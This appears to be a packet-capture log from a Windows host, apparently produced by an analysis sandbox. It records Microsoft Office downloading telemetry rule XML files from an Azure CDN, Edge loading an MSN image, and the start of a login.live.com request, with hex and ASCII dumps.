Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:40 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031640Z-16547b76f7f67wxlhC1DFWah9w0000000f0g00000000e5q9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49921	13.107.246.45	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f5036dc0-201e-0085-07a2-3434e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031640Z-17df447cdb5km9skhC1DFWy2rc0000000bsg00000000m17k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031640Z-16547b76f7f775p5hC1DFWzdvn0000000f20000000008zpq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:40 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031640Z-16547b76f7fm7xw6hC1DFW5px40000000ez000000000brcv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:40 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 74f30209-801e-00a0-74a2-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031640Z-15869dbbcc6bmgjfhC1DFWzfzs00000006k0000000006kay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49925	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:41 UTC	551	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 18:32:58 GMT X-Datacenter: westus X-ActivityId: 816bc06e-9ac1-41c8-84a7-557d7b72aa1c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 1437868 Content-Length: 4096 Cache-Control: public, max-age=227750 Expires: Thu, 14 Nov 2024 18:32:31 GMT Date: Tue, 12 Nov 2024 03:16:41 GMT Connection: close
2024-11-12 03:16:41 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031641Z-17df447cdb57srlrhC1DFWwgas0000000bug000000000xwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:41 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031641Z-16547b76f7f9bs6dhC1DFWt3rg0000000ezg00000000gq5e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 5c63f72a-901e-0067-46a3-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031641Z-15869dbbcc6sg5zbhC1DFWy5u800000006zg00000000fwdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ebffffee-b01e-005c-69a0-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031641Z-17df447cdb5lrwcchC1DFWphes0000000be0000000009pu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 22e6b9e3-c01e-00a1-75a1-347e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031641Z-17df447cdb5lrwcchC1DFWphes0000000bag00000000nem3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49931	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
